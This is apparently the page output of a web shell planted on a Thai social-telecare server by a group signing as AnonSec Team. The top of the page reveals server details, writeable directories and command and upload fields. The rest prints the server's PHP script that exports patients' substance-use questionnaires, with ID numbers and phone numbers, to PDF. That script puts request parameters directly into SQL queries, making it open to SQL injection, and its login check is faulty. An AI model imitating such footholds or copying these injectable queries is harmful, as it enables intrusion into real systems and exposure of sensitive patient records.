NG1NDEX
Server IP : 150.95.80.236  /  Your IP : 3.143.203.146
Web Server : Apache
System : Linux host-150-95-80-236 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : social-telecare ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/pcu.in.th/sc.pcu.in.th/export_pdf/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/vhosts/pcu.in.th/sc.pcu.in.th/export_pdf/ex_pdf_subdis.php
<?php
// require('fpdf.php');
require('mc_table.php');
include("../connect.php");
include("../function.php");
header('X-Robots-Tag: noindex, nofollow');
session_start();
if (isset($_SESSION['sess_id']) <> session_id()) {
	echo "<script>window.location.replace('../signin.php');</script>";
}

class PDF extends PDF_MC_Table
{
	
	function Header()
{
 
 	$this->AddFont('THSarabunPSK','','THSarabun.php');
    $this->AddFont('THSarabunPSK','b','THSarabun Bold.php');//หนา
    $this->SetFont('THSarabunPSK','b',18);


        if ($this->PageNo() == 1) {
            
        }else{
            $this->Cell(0, 10, iconv('UTF-8','cp874','แบบสอบถามความผิดปกติของการใช้สารเสพติด'), 0, true, 'C');
        $this->SetFont('THSarabunPSK','b',16);
        $this->Cell(27, 6 , iconv( 'UTF-8','cp874' , 'ครั้งที่ประเมิน ' ) );
        $this->SetFont('THSarabunPSK','',16);
        $this->Cell( 10, 6 , iconv( 'UTF-8','cp874' , $_REQUEST['count']) ,0,false,'L');
        $this->SetFont('THSarabunPSK','b',16);
        $this->Cell( 20, 6 , iconv( 'UTF-8','cp874' , 'ชื่อ-สกุล' ) );
        $this->SetFont('THSarabunPSK','',16);
        $this->Cell( 70, 6 , iconv( 'UTF-8','cp874' , $_REQUEST['case_name']) ,0,false,'L');
        $this->SetFont('THSarabunPSK','b',16);
        $this->Cell( 25, 6 , iconv( 'UTF-8','cp874' , 'วันที่ประเมิน' ) );
        $this->SetFont('THSarabunPSK','',16);
        $this->Cell( 28, 6 , iconv( 'UTF-8','cp874' , $_REQUEST['form_date']) ,0,false,'L');
        $this->Ln();
        $this->SetFont('THSarabunPSK','b',16);
        $this->Cell(15, 10 , iconv( 'UTF-8','cp874' , 'ลำดับ ' ),1 ,false, 'C' );
        $this->Cell(165, 10 , iconv( 'UTF-8','cp874' , 'คำถาม/รายละเอียด ' ),1 ,false, 'C' );
        $this->Cell(100, 10 , iconv( 'UTF-8','cp874' , 'คำตอบ' ),1 ,false, 'C' );
        // $this->Cell(45, 10 , iconv( 'UTF-8','cp874' , 'หมายเหตุ ' ),1 ,false, 'C' );
        // $this->Cell(27, 20 , iconv( 'UTF-8','cp874' , 'ลำดับ ' ),1 ,false, 'C' );
        $this->Ln();
        // 15,220,45
        }

        
   
	
}

function Footer()
{
    // Position at 1.5 cm from bottom
    $this->SetY(-15);
    // Arial italic 8
    $this->SetFont('Arial','I',8);
    // Page number
    $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C');
}


}


$pdf = new PDF('P','mm','A4');
$pdf->AddPage();
$pdf->AliasNbPages();
$pdf->SetTitle("Substance Use Disorders Questionnaire");
$pdf->AddFont('THSarabunPSK','','THSarabun.php');
$pdf->AddFont('THSarabunPSK','b','THSarabun Bold.php');//หนา
$pdf->Image('../assets/logo/SOCIAL TELECARE (Logo 2).png',10,5,25,0);


$query_main = $conn->query("SELECT form_subdis.*, user_data.fname, user_data.lname
    FROM form_subdis 
    LEFT JOIN user_data ON user_data.user_id = form_subdis.doctor_id
    WHERE form_subdis.subdis_id = '".$_REQUEST['subdis_id']."' ");

$fet_main = $query_main->fetch_assoc();



$query_case = $conn->query("SELECT   case_data.*
        FROM case_data
        WHERE case_data.user_id =  '".$fet_main['case_id']."' ");
    $fet_case = $query_case->fetch_object();

    $pdf->Cell(0, 20, iconv('UTF-8','cp874',' แบบสอบถามความผิดปกติของการใช้สารเสพติด'), 0, true, 'C');
    
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 18, 6 , iconv( 'UTF-8','cp874' , 'คำนำหน้า ' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 18, 6 , iconv( 'UTF-8','cp874' , $fet_case->case_tname),0,false,'C');

    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 15, 6 , iconv( 'UTF-8','cp874' , 'ชื่อ-สกุล' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 75, 6 , iconv( 'UTF-8','cp874' ,  $fet_case->case_name) );
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 30, 6 , iconv( 'UTF-8','cp874' , 'เลขบัตรประชาชน' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 30, 6 , iconv( 'UTF-8','cp874' , $fet_case->idcard) );
    $pdf->Ln();

    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 20, 6 , iconv( 'UTF-8','cp874' , 'เพศ' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 35, 6 , iconv( 'UTF-8','cp874' , ($fet_case->case_sex)) );
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 7, 6 , iconv( 'UTF-8','cp874' , 'อายุ' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 14, 6 , iconv( 'UTF-8','cp874' , getage($fet_case->case_bday)),0,false,'C');
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 5, 6 , iconv( 'UTF-8','cp874' , 'ปี' ) );
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 15, 6 , iconv( 'UTF-8','cp874' , 'สัญชาติ' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 15, 6 , iconv( 'UTF-8','cp874' , $fet_case->case_nation));
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 15, 6 , iconv( 'UTF-8','cp874' , 'เชื้อชาติ' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 15, 6 , iconv( 'UTF-8','cp874' , $fet_case->case_race));
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 15, 6 , iconv( 'UTF-8','cp874' , 'ศาสนา' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 20, 6 , iconv( 'UTF-8','cp874' , $fet_case->case_religion));
    $pdf->Ln();

    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 30, 6 , iconv( 'UTF-8','cp874' , 'สถานภาพสมรส' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 30, 6 , iconv( 'UTF-8','cp874' , $fet_case->case_marital) );
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 20, 6 , iconv( 'UTF-8','cp874' , 'การศึกษา' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 45, 6 , iconv( 'UTF-8','cp874' , $fet_case->case_education));
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 25, 6 , iconv( 'UTF-8','cp874' , 'สิทธิการรักษา' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 45, 6 , iconv( 'UTF-8','cp874' , $fet_from->case_privilege));    
    $pdf->Ln();

    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 15, 6 , iconv( 'UTF-8','cp874' , 'อาชีพ' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 45, 6 , iconv( 'UTF-8','cp874' , $fet_case->case_career));
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 30, 6 , iconv( 'UTF-8','cp874' , 'หมายเลขโทรศัพท์' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 30, 6 , iconv( 'UTF-8','cp874' , $fet_case->case_tel) );
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Ln();




    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 70, 6 , iconv( 'UTF-8','cp874' , 'สารเสพติดที่ใช้ในช่วง 12 เดือนที่ผ่านมา' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->MultiCell( 130, 6 , iconv( 'UTF-8','cp874' , $fet_main['dis_month']));
    // $pdf->Ln();
    
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 35, 6 , iconv( 'UTF-8','cp874' , 'สารเสพติดหลักที่ใช้..' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 60, 6 , iconv( 'UTF-8','cp874' , $fet_main['dis_main']) );
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 30, 6 , iconv( 'UTF-8','cp874' , 'ปริมาณที่ใช้/วัน' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 60, 6 , iconv( 'UTF-8','cp874' , $fet_main['dis_volum']));
    $pdf->Ln();

    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 25, 6 , iconv( 'UTF-8','cp874' , 'ระยะเวลาที่ใช้' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 45, 6 , iconv( 'UTF-8','cp874' , $fet_main['dis_usetime']));    
    $pdf->Ln();
    
    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 60, 6 , iconv( 'UTF-8','cp874' , 'โรค/อาการแทรกซ้อนทางร่างกาย' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 120, 6 , iconv( 'UTF-8','cp874' , $fet_main['dis_disease']));
    $pdf->Ln();

    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 45, 6 , iconv( 'UTF-8','cp874' , 'อาการแทรกซ้อนทางจิต' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->MultiCell( 120, 6 , iconv( 'UTF-8','cp874' , $fet_main['dis_mind']));
    // $pdf->Ln();

    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 45, 6 , iconv( 'UTF-8','cp874' , 'สัมพันธภาพในครอบครัว' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 45, 6 , iconv( 'UTF-8','cp874' , $fet_main['dis_rel']));    
    $pdf->Ln();

    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 75, 6 , iconv( 'UTF-8','cp874' , 'ปัญหาทางกฎหมาย (เกี่ยวข้องกับสารเสพติด)' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->MultiCell( 100, 6 , iconv( 'UTF-8','cp874' , $fet_main['check_law']." ".$fet_main['dis_law']));
    // $pdf->Ln();

    $pdf->SetFont('THSarabunPSK','b',16);
    $pdf->Cell( 65, 6 , iconv( 'UTF-8','cp874' , 'ระดับความรุนแรงของการใช้สารเสพติด' ) );
    $pdf->SetFont('THSarabunPSK','',16);
    $pdf->Cell( 45, 6 , iconv( 'UTF-8','cp874' , $fet_main['dis_pointname']));    
    $pdf->Ln();

    $pdf->SetFont('THSarabunPSK','b',12);
    $pdf->Cell(15, 7 , iconv( 'UTF-8','cp874' , 'ลำดับ ' ),1 ,false, 'C' );
    $pdf->Cell(150, 7 , iconv( 'UTF-8','cp874' , 'ในช่วง 12 เดือนที่ผ่านมาการใช้สาร ทำให้เกิดอาการต่อไปนี้หรือไม่' ),1 ,false, 'C' );
    $pdf->Cell(25, 7 , iconv( 'UTF-8','cp874' , 'อาการ' ),1 ,false, 'C' );
    $pdf->Ln();



$query_form= $conn->query("SELECT * FROM main_form  WHERE  form_id = '36'  ");
$i=1;

    // $pdf->AddPage();
                                                                  


    $a = 1;
    $query_ark= $conn->query("SELECT main_ans.* , main_formans.ans_name, main_formark.ark_name
        FROM main_ans
        LEFT JOIN main_formans ON main_formans.ans_id = main_ans.ans_id
        LEFT JOIN main_formark ON main_formark.ark_id  = main_formans.ark_id
        WHERE main_ans.form_ansid = '".$fet_main['subdis_id']."' AND main_ans.form_id = '36' AND main_ans.form_type = 'subdis'
        ");
    while ($fet_ark = $query_ark->fetch_object()) {
        $pdf->SetWidths(array(15,150,25));
        $pdf->SetAligns(array('C','L','C'));
       
            $pdf->RowFont12(array($a, str_replace('..........', $fet_main['dis_main'],$fet_ark->ark_name), $fet_ark->ans_name,''));
        
        $a++;
    }
   

    $pdf->SetFont('THSarabunPSK','B',12);

    $pdf->Cell(0, 10 , iconv( 'UTF-8','cp874' , 'ลงชื่อ' ),0 ,false, 'C' );
    $pdf->Ln();
    $pdf->Ln();
    
    $pdf->Cell(0, 0 , iconv( 'UTF-8','cp874' , '..............................................' ),0 ,false, 'C' );
    $pdf->Ln();
    $pdf->Cell(0, 7 , iconv( 'UTF-8','cp874' , "(".$fet_main['fname']." ".$fet_main['lname'].")" ),0 ,false, 'C' );
    $pdf->Ln();
    $group_name = $conn->query("SELECT ur.group_name 
    FROM user_data ud 
    LEFT JOIN user_role ur ON ur.group_id = ud.user_gid  
    WHERE ud.user_id = '".$fet_main['doctor_id']."'
    ")->fetch_object()->group_name;
$pdf->Cell(0, 5, iconv('UTF-8', 'cp874', "(" . $group_name . ")"), 0, false, 'C');
$pdf->Ln();
$pdf->Cell(0, 7, iconv('UTF-8', 'cp874', 'ผู้ประเมินแทน นักสังคมสงเคราะห์'), 0, false, 'C');
    





$pdf->Output();
?>

Anon7 - 2022
AnonSec Team